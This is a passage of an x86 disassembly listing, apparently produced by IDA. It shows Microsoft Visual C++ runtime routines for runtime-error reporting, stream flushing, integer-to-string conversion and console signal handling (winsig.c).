ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi push edi mov [ebp+var_8], 0 jmp short loc_42889E ; --------------------------------------------------------------------------- loc_428895: ; CODE XREF: sub_428880:loc_4288B5j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42889E: ; CODE XREF: sub_428880+13j cmp [ebp+var_8], 12h jnb short loc_4288B7 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] cmp edx, dword_447A58[ecx*8] jnz short loc_4288B5 jmp short loc_4288B7 ; --------------------------------------------------------------------------- loc_4288B5: ; CODE XREF: sub_428880+31j jmp short loc_428895 ; --------------------------------------------------------------------------- loc_4288B7: ; CODE XREF: sub_428880+22j ; sub_428880+33j mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] cmp ecx, dword_447A58[eax*8] jnz loc_428A38 cmp [ebp+arg_0], 0FCh jz short loc_4288F4 mov edx, [ebp+var_8] mov eax, off_447A5C[edx*8] push eax push 0 push 0 push 0 push 1 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_4288F4 int 3 ; Trap to Debugger loc_4288F4: ; CODE XREF: sub_428880+51j ; sub_428880+71j cmp dword_4DDFD8, 1 jz short loc_42890F cmp dword_4DDFD8, 0 jnz short loc_428948 cmp dword_444ED4, 1 jnz short loc_428948 loc_42890F: ; CODE XREF: sub_428880+7Bj push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, off_447A5C[edx*8] push eax call sub_414EC0 add esp, 4 push eax mov ecx, [ebp+var_8] mov edx, off_447A5C[ecx*8] push edx push 0FFFFFFF4h call dword_4E0468 ; GetStdHandle push eax call dword_4E03B4 ; WriteFile jmp loc_428A38 ; --------------------------------------------------------------------------- loc_428948: ; CODE XREF: sub_428880+84j ; sub_428880+8Dj cmp [ebp+arg_0], 0FCh jz loc_428A38 push 104h lea eax, [ebp+var_110] push eax push 0 call dword_4E0334 ; GetModuleFileNameA test eax, eax jnz short loc_428981 push offset aProgramNameUnk ; "<program name unknown>" lea ecx, [ebp+var_110] push ecx call sub_418870 add esp, 8 loc_428981: ; CODE XREF: sub_428880+EBj lea edx, [ebp+var_110] mov [ebp+var_C], edx mov eax, [ebp+var_C] push eax call sub_414EC0 add esp, 4 add eax, 1 cmp eax, 3Ch jbe short loc_4289CA lea ecx, [ebp+var_110] push ecx call sub_414EC0 add esp, 4 mov edx, [ebp+var_C] lea eax, [edx+eax-3Bh] mov [ebp+var_C], eax push 3 push offset a___ ; "..." mov ecx, [ebp+var_C] push ecx call sub_417760 add esp, 0Ch loc_4289CA: ; CODE XREF: sub_428880+11Cj push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " lea edx, [ebp+var_1B0] push edx call sub_418870 add esp, 8 mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_1B0] push ecx call sub_418880 add esp, 8 push offset asc_434EF0 ; "\n\n" lea edx, [ebp+var_1B0] push edx call sub_418880 add esp, 8 mov eax, [ebp+var_8] mov ecx, off_447A5C[eax*8] push ecx lea edx, [ebp+var_1B0] push edx call sub_418880 add esp, 8 push 12010h push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library" lea eax, [ebp+var_1B0] push eax call sub_4293F0 add esp, 0Ch loc_428A38: ; CODE XREF: sub_428880+44j ; sub_428880+C3j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_428880 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov dword ptr [ebp-4], 0 jmp short loc_428A56 ; --------------------------------------------------------------------------- loc_428A4D: ; CODE XREF: .data:loc_428A6Dj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_428A56: ; CODE XREF: .data:00428A4Bj cmp dword ptr [ebp-4], 12h jnb short loc_428A6F mov ecx, [ebp-4] mov edx, [ebp+8] cmp edx, dword_447A58[ecx*8] jnz short loc_428A6D jmp short loc_428A6F ; --------------------------------------------------------------------------- loc_428A6D: ; CODE XREF: .data:00428A69j jmp short loc_428A4D ; --------------------------------------------------------------------------- loc_428A6F: ; CODE XREF: .data:00428A5Aj ; .data:00428A6Bj mov eax, [ebp-4] mov ecx, [ebp+8] cmp ecx, dword_447A58[eax*8] jnz short loc_428A8A mov edx, [ebp-4] mov eax, off_447A5C[edx*8] jmp short loc_428A8C ; --------------------------------------------------------------------------- loc_428A8A: ; CODE XREF: .data:00428A7Cj xor eax, eax loc_428A8C: ; CODE XREF: .data:00428A88j mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428A90 proc near ; CODE XREF: sub_41AE00+13p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 push 2 call sub_41BC80 add esp, 4 mov [ebp+var_8], 3 jmp short loc_428AB9 ; --------------------------------------------------------------------------- loc_428AB0: ; CODE XREF: sub_428A90:loc_428B54j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_428AB9: ; CODE XREF: sub_428A90+1Ej mov ecx, [ebp+var_8] cmp ecx, dword_4DF680 jge loc_428B59 mov edx, [ebp+var_8] mov eax, dword_4DE674 cmp dword ptr [eax+edx*4], 0 jz short loc_428B54 mov ecx, [ebp+var_8] mov edx, dword_4DE674 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz short loc_428B11 mov edx, [ebp+var_8] mov eax, dword_4DE674 mov ecx, [eax+edx*4] push ecx call sub_414F40 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_428B11 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_428B11: ; CODE XREF: sub_428A90+5Dj ; sub_428A90+76j cmp [ebp+var_8], 14h jl short loc_428B54 mov eax, [ebp+var_8] mov ecx, dword_4DE674 mov edx, [ecx+eax*4] add edx, 20h push edx call dword_4E03B0 ; RtlDeleteCriticalSection push 2 mov eax, [ebp+var_8] mov ecx, dword_4DE674 mov edx, [ecx+eax*4] push edx call sub_415C60 add esp, 8 mov eax, [ebp+var_8] mov ecx, dword_4DE674 mov dword ptr [ecx+eax*4], 0 loc_428B54: ; CODE XREF: sub_428A90+44j ; sub_428A90+85j jmp loc_428AB0 ; --------------------------------------------------------------------------- loc_428B59: ; CODE XREF: sub_428A90+32j push 2 call sub_41BD20 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_428A90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428B70 proc near ; CODE XREF: sub_41B010+31Dp ; sub_42D2B0+1EFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_428B97 cmp [ebp+arg_0], 0 jge short loc_428B97 push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_428BC0 add esp, 10h jmp short loc_428BAD ; --------------------------------------------------------------------------- loc_428B97: ; CODE XREF: sub_428B70+7j ; sub_428B70+Dj push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_428BC0 add esp, 10h loc_428BAD: ; CODE XREF: sub_428B70+25j mov eax, [ebp+arg_4] pop ebp retn sub_428B70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428BC0 proc near ; CODE XREF: sub_428B70+1Dp ; sub_428B70+35p ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_C], 0 jz short loc_428BE9 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov [ebp+arg_0], eax loc_428BE9: ; CODE XREF: sub_428BC0+10j mov ecx, [ebp+var_4] mov [ebp+var_8], ecx loc_428BEF: ; CODE XREF: sub_428BC0+79j mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+var_C], edx mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+arg_0], eax cmp [ebp+var_C], 9 jbe short loc_428C21 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_428C35 ; --------------------------------------------------------------------------- loc_428C21: ; CODE XREF: sub_428BC0+49j mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_428C35: ; CODE XREF: sub_428BC0+5Fj cmp [ebp+arg_0], 0 ja short loc_428BEF mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_428C4A: ; CODE XREF: sub_428BC0+BCj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_428C4A mov esp, ebp pop ebp retn sub_428BC0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+10h], 0Ah jnz short loc_428CA9 cmp dword ptr [ebp+8], 0 jge short loc_428CA9 mov dword ptr [ebp-4], 1 jmp short loc_428CB0 ; --------------------------------------------------------------------------- loc_428CA9: ; CODE XREF: .data:00428C98j ; .data:00428C9Ej mov dword ptr [ebp-4], 0 loc_428CB0: ; CODE XREF: .data:00428CA7j mov eax, [ebp-4] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_428BC0 add esp, 10h mov eax, [ebp+0Ch] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_428BC0 add esp, 10h mov eax, [ebp+0Ch] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+14h], 0Ah jnz short loc_428D11 cmp dword ptr [ebp+0Ch], 0 jg short loc_428D11 jl short loc_428D08 cmp dword ptr [ebp+8], 0 jnb short loc_428D11 loc_428D08: ; CODE XREF: .data:00428D00j mov dword ptr [ebp-4], 1 jmp short loc_428D18 ; --------------------------------------------------------------------------- loc_428D11: ; CODE XREF: .data:00428CF8j ; .data:00428CFEj ... mov dword ptr [ebp-4], 0 loc_428D18: ; CODE XREF: .data:00428D0Fj mov eax, [ebp-4] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_428D40 mov eax, [ebp+10h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428D40 proc near ; CODE XREF: .data:00428D2Cp ; .data:00428E55p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov [ebp+var_4], eax cmp [ebp+arg_10], 0 jz short loc_428D74 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov ecx, [ebp+arg_4] adc ecx, 0 neg ecx mov [ebp+arg_0], eax mov [ebp+arg_4], ecx loc_428D74: ; CODE XREF: sub_428D40+10j mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_428D7A: ; CODE XREF: sub_428D40+9Fj ; sub_428D40+A7j mov eax, [ebp+arg_C] xor ecx, ecx push ecx push eax mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_41A4A0 mov [ebp+var_C], eax mov ecx, [ebp+arg_C] xor edx, edx push edx push ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41A430 mov [ebp+arg_0], eax mov [ebp+arg_4], edx cmp [ebp+var_C], 9 jbe short loc_428DC7 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_428DDB ; --------------------------------------------------------------------------- loc_428DC7: ; CODE XREF: sub_428D40+6Fj mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_428DDB: ; CODE XREF: sub_428D40+85j cmp [ebp+arg_4], 0 ja short loc_428D7A jb short loc_428DE9 cmp [ebp+arg_0], 0 ja short loc_428D7A loc_428DE9: ; CODE XREF: sub_428D40+A1j mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_428DF8: ; CODE XREF: sub_428D40+EAj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_428DF8 mov esp, ebp pop ebp retn 14h sub_428D40 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_428D40 mov eax, [ebp+10h] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push esi cmp dword ptr [ebp+0Ch], 4 jz short loc_428E73 cmp dword ptr [ebp+0Ch], 3 jnz short loc_428E78 loc_428E73: ; CODE XREF: .data:00428E6Bj jmp loc_429048 ; --------------------------------------------------------------------------- loc_428E78: ; CODE XREF: .data:00428E71j cmp dword ptr [ebp+8], 2 jz short loc_428E94 cmp dword ptr [ebp+8], 15h jz short loc_428E94 cmp dword ptr [ebp+8], 16h jz short loc_428E94 cmp dword ptr [ebp+8], 0Fh jnz loc_428F71 loc_428E94: ; CODE XREF: .data:00428E7Cj ; .data:00428E82j ... push 1 call sub_41BC80 add esp, 4 cmp dword ptr [ebp+8], 2 jz short loc_428EAA cmp dword ptr [ebp+8], 15h jnz short loc_428EEF loc_428EAA: ; CODE XREF: .data:00428EA2j cmp dword_4DE1AC, 0 jnz short loc_428EEF push 1 push offset sub_429090 call dword_4E0310 ; SetConsoleCtrlHandler cmp eax, 1 jnz short loc_428ED1 mov dword_4DE1AC, 1 jmp short loc_428EEF ; --------------------------------------------------------------------------- loc_428ED1: ; CODE XREF: .data:00428EC3j call dword_4E0350 ; RtlGetLastWin32Error mov esi, eax call sub_4224E0 mov [eax], esi push 1 call sub_41BD20 add esp, 4 jmp loc_429048 ; --------------------------------------------------------------------------- loc_428EEF: ; CODE XREF: .data:00428EA8j ; .data:00428EB1j ... mov eax, [ebp+8] mov [ebp-10h], eax mov ecx, [ebp-10h] sub ecx, 2 mov [ebp-10h], ecx cmp dword ptr [ebp-10h], 14h ja short loc_428F62 mov eax, [ebp-10h] xor edx, edx mov dl, byte_42906F[eax] jmp off_42905B[edx*4] loc_428F16: ; DATA XREF: .data:off_42905Bo mov ecx, dword_4DE19C mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4DE19C, edx jmp short loc_428F62 ; --------------------------------------------------------------------------- loc_428F2A: ; CODE XREF: .data:00428F0Fj ; DATA XREF: .data:00429063o mov eax, dword_4DE1A0 mov [ebp-0Ch], eax mov ecx, [ebp+0Ch] mov dword_4DE1A0, ecx jmp short loc_428F62 ; --------------------------------------------------------------------------- loc_428F3D: ; CODE XREF: .data:00428F0Fj ; DATA XREF: .data:00429067o mov edx, dword_4DE1A4 mov [ebp-0Ch], edx mov eax, [ebp+0Ch] mov dword_4DE1A4, eax jmp short loc_428F62 ; --------------------------------------------------------------------------- loc_428F50: ; CODE XREF: .data:00428F0Fj ; DATA XREF: .data:0042905Fo mov ecx, dword_4DE1A8 mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4DE1A8, edx loc_428F62: ; CODE XREF: .data:00428F02j ; .data:00428F0Fj ... push 1 call sub_41BD20 add esp, 4 jmp loc_429043 ; --------------------------------------------------------------------------- loc_428F71: ; CODE XREF: .data:00428E8Ej cmp dword ptr [ebp+8], 8 jz short loc_428F88 cmp dword ptr [ebp+8], 4 jz short loc_428F88 cmp dword ptr [ebp+8], 0Bh jz short loc_428F88 jmp loc_429048 ; --------------------------------------------------------------------------- loc_428F88: ; CODE XREF: .data:00428F75j ; .data:00428F7Bj ... call sub_421920 mov [ebp-4], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], offset dword_4479A8 jnz short loc_428FE5 push 133h push offset aWinsig_c ; "winsig.c" push 2 mov ecx, dword_447A28 push ecx call sub_4150C0 add esp, 10h mov edx, [ebp-4] mov [edx+50h], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], 0 jz short loc_428FE3 mov ecx, dword_447A28 push ecx push offset dword_4479A8 mov edx, [ebp-4] mov eax, [edx+50h] push eax call sub_419330 add esp, 0Ch jmp short loc_428FE5 ; --------------------------------------------------------------------------- loc_428FE3: ; CODE XREF: .data:00428FC4j jmp short loc_429048 ; --------------------------------------------------------------------------- loc_428FE5: ; CODE XREF: .data:00428F9Aj ; .data:00428FE1j mov ecx, [ebp-4] mov edx, [ecx+50h] push edx mov eax, [ebp+8] push eax call sub_429370 add esp, 8 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_429003 jmp short loc_429048 ; --------------------------------------------------------------------------- loc_429003: ; CODE XREF: .data:00428FFFj mov ecx, [ebp-8] mov edx, [ecx+8] mov [ebp-0Ch], edx loc_42900C: ; CODE XREF: .data:loc_429041j mov eax, [ebp-8] mov ecx, [eax+4] cmp ecx, [ebp+8] jnz short loc_429043 mov edx, [ebp-8] mov eax, [ebp+0Ch] mov [edx+8], eax mov ecx, [ebp-8] add ecx, 0Ch mov [ebp-8], ecx mov edx, dword_447A2C imul edx, 0Ch mov eax, [ebp-4] mov ecx, [eax+50h] add ecx, edx cmp [ebp-8], ecx jb short loc_429041 jmp short loc_429043 ; --------------------------------------------------------------------------- loc_429041: ; CODE XREF: .data:0042903Dj jmp short loc_42900C ; --------------------------------------------------------------------------- loc_429043: ; CODE XREF: .data:00428F6Cj ; .data:00429015j ... mov eax, [ebp-0Ch] jmp short loc_429056 ; --------------------------------------------------------------------------- loc_429048: ; CODE XREF: .data:loc_428E73j ; .data:00428EEAj ... call sub_4224D0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_429056: ; CODE XREF: .data:00429046j pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- off_42905B dd offset loc_428F16 ; DATA XREF: .data:00428F0Fr dd offset loc_428F50 dd offset loc_428F2A dd offset loc_428F3D dd offset loc_428F62 byte_42906F db 0 ; DATA XREF: .data:00428F09r dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429090 proc near ; DATA XREF: .data:00428EB5o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push 1 call sub_41BC80 add esp, 4 cmp [ebp+arg_0], 0 jnz short loc_4290BE mov [ebp+var_8], offset dword_4DE19C mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_C], ecx mov [ebp+var_4], 2 jmp short loc_4290D4 ; --------------------------------------------------------------------------- loc_4290BE: ; CODE XREF: sub_429090+14j mov [ebp+var_8], offset dword_4DE1A0 mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_C], eax mov [ebp+var_4], 15h loc_4290D4: ; CODE XREF: sub_429090+2Cj cmp [ebp+var_C], 0 jnz short loc_4290E8 push 1 call sub_41BD20 add esp, 4 xor eax, eax jmp short loc_42911C ; --------------------------------------------------------------------------- loc_4290E8: ; CODE XREF: sub_429090+48j cmp [ebp+var_C], 1 jz short loc_42910D mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 push 1 call sub_41BD20 add esp, 4 mov edx, [ebp+var_4] push edx call [ebp+var_C] add esp, 4 jmp short loc_429117 ; --------------------------------------------------------------------------- loc_42910D: ; CODE XREF: sub_429090+5Cj push 1 call sub_41BD20 add esp, 4 loc_429117: ; CODE XREF: sub_429090+7Bj mov eax, 1 loc_42911C: ; CODE XREF: sub_429090+56j mov esp, ebp pop ebp retn 4 sub_429090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429130 proc near ; CODE XREF: sub_41B3A0+2E7p ; sub_42A620+Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_20], eax mov ecx, [ebp+var_20] sub ecx, 2 mov [ebp+var_20], ecx cmp [ebp+var_20], 14h ja loc_4291FE mov eax, [ebp+var_20] xor edx, edx mov dl, byte_429352[eax] jmp off_42933A[edx*4] loc_429168: ; DATA XREF: .data:off_42933Ao mov [ebp+var_18], offset dword_4DE19C mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp loc_429206 ; --------------------------------------------------------------------------- loc_429185: ; CODE XREF: sub_429130+31j ; DATA XREF: .data:00429346o mov [ebp+var_18], offset dword_4DE1A0 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_429206 ; --------------------------------------------------------------------------- loc_42919F: ; CODE XREF: sub_429130+31j ; DATA XREF: .data:0042934Ao mov [ebp+var_18], offset dword_4DE1A4 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_429206 ; --------------------------------------------------------------------------- loc_4291B9: ; CODE XREF: sub_429130+31j ; DATA XREF: .data:00429342o mov [ebp+var_18], offset dword_4DE1A8 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_429206 ; --------------------------------------------------------------------------- loc_4291D3: ; CODE XREF: sub_429130+31j ; DATA XREF: .data:0042933Eo call sub_421920 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx+50h] push edx mov eax, [ebp+arg_0] push eax call sub_429370 add esp, 8 add eax, 8 mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx jmp short loc_429206 ; --------------------------------------------------------------------------- loc_4291FE: ; CODE XREF: sub_429130+20j ; sub_429130+31j ; DATA XREF: ... or eax, 0FFFFFFFFh jmp loc_429336 ; --------------------------------------------------------------------------- loc_429206: ; CODE XREF: sub_429130+50j ; sub_429130+6Dj ... cmp [ebp+var_C], 0 jz short loc_429216 push 1 call sub_41BC80 add esp, 4 loc_429216: ; CODE XREF: sub_429130+DAj cmp [ebp+var_1C], 1 jnz short loc_429233 cmp [ebp+var_C], 0 jz short loc_42922C push 1 call sub_41BD20 add esp, 4 loc_42922C: ; CODE XREF: sub_429130+F0j xor eax, eax jmp loc_429336 ; --------------------------------------------------------------------------- loc_429233: ; CODE XREF: sub_429130+EAj cmp [ebp+var_1C], 0 jnz short loc_429250 cmp [ebp+var_C], 0 jz short loc_429249 push 1 call sub_41BD20 add esp, 4 loc_429249: ; CODE XREF: sub_429130+10Dj push 3 call sub_417B10 loc_429250: ; CODE XREF: sub_429130+107j cmp [ebp+arg_0], 8 jz short loc_429262 cmp [ebp+arg_0], 0Bh jz short loc_429262 cmp [ebp+arg_0], 4 jnz short loc_42928E loc_429262: ; CODE XREF: sub_429130+124j ; sub_429130+12Aj mov eax, [ebp+var_4] mov ecx, [eax+54h] mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov dword ptr [edx+54h], 0 cmp [ebp+arg_0], 8 jnz short loc_42928E mov eax, [ebp+var_4] mov ecx, [eax+58h] mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov dword ptr [edx+58h], 8Ch loc_42928E: ; CODE XREF: sub_429130+130j ; sub_429130+149j cmp [ebp+arg_0], 8 jnz short loc_4292D0 mov eax, dword_447A20 mov [ebp+var_10], eax jmp short loc_4292A7 ; --------------------------------------------------------------------------- loc_42929E: ; CODE XREF: sub_429130+19Cj mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_4292A7: ; CODE XREF: sub_429130+16Cj mov edx, dword_447A20 add edx, dword_447A24 cmp [ebp+var_10], edx jge short loc_4292CE mov eax, [ebp+var_10] imul eax, 0Ch mov ecx, [ebp+var_4] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_42929E ; --------------------------------------------------------------------------- loc_4292CE: ; CODE XREF: sub_429130+186j jmp short loc_4292D9 ; --------------------------------------------------------------------------- loc_4292D0: ; CODE XREF: sub_429130+162j mov eax, [ebp+var_18] mov dword ptr [eax], 0 loc_4292D9: ; CODE XREF: sub_429130:loc_4292CEj cmp [ebp+var_C], 0 jz short loc_4292E9 push 1 call sub_41BD20 add esp, 4 loc_4292E9: ; CODE XREF: sub_429130+1ADj cmp [ebp+arg_0], 8 jnz short loc_429300 mov ecx, [ebp+var_4] mov edx, [ecx+58h] push edx push 8 call [ebp+var_1C] add esp, 8 jmp short loc_42930A ; --------------------------------------------------------------------------- loc_429300: ; CODE XREF: sub_429130+1BDj mov eax, [ebp+arg_0] push eax call [ebp+var_1C] add esp, 4 loc_42930A: ; CODE XREF: sub_429130+1CEj cmp [ebp+arg_0], 8 jz short loc_42931C cmp [ebp+arg_0], 0Bh jz short loc_42931C cmp [ebp+arg_0], 4 jnz short loc_429334 loc_42931C: ; CODE XREF: sub_429130+1DEj ; sub_429130+1E4j mov ecx, [ebp+var_4] mov edx, [ebp+var_14] mov [ecx+54h], edx cmp [ebp+arg_0], 8 jnz short loc_429334 mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+58h], ecx loc_429334: ; CODE XREF: sub_429130+1EAj ; sub_429130+1F9j xor eax, eax loc_429336: ; CODE XREF: sub_429130+D1j ; sub_429130+FEj mov esp, ebp pop ebp retn sub_429130 endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_42933A dd offset loc_429168 ; DATA XREF: sub_429130+31r dd offset loc_4291D3 dd offset loc_4291B9 dd offset loc_429185 dd offset loc_42919F dd offset loc_4291FE byte_429352 db 0 ; DATA XREF: sub_429130+2Br db 5 dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429370 proc near ; CODE XREF: .data:00428FF0p ; sub_429130+B6p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_42937A: ; CODE XREF: sub_429370+31j mov ecx, [ebp+var_4] mov edx, [ecx+4] cmp edx, [ebp+arg_0] jz short loc_4293A3 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, dword_447A2C imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_4293A3 jmp short loc_42937A ; --------------------------------------------------------------------------- loc_4293A3: ; CODE XREF: sub_429370+13j ; sub_429370+2Fj mov eax, dword_447A2C imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_4293C5 mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jnz short loc_4293C5 mov eax, [ebp+var_4] jmp short loc_4293C7 ; --------------------------------------------------------------------------- loc_4293C5: ; CODE XREF: sub_429370+43j ; sub_429370+4Ej xor eax, eax loc_4293C7: ; CODE XREF: sub_429370+53j mov esp, ebp pop ebp retn sub_429370 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_421920 add eax, 58h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: 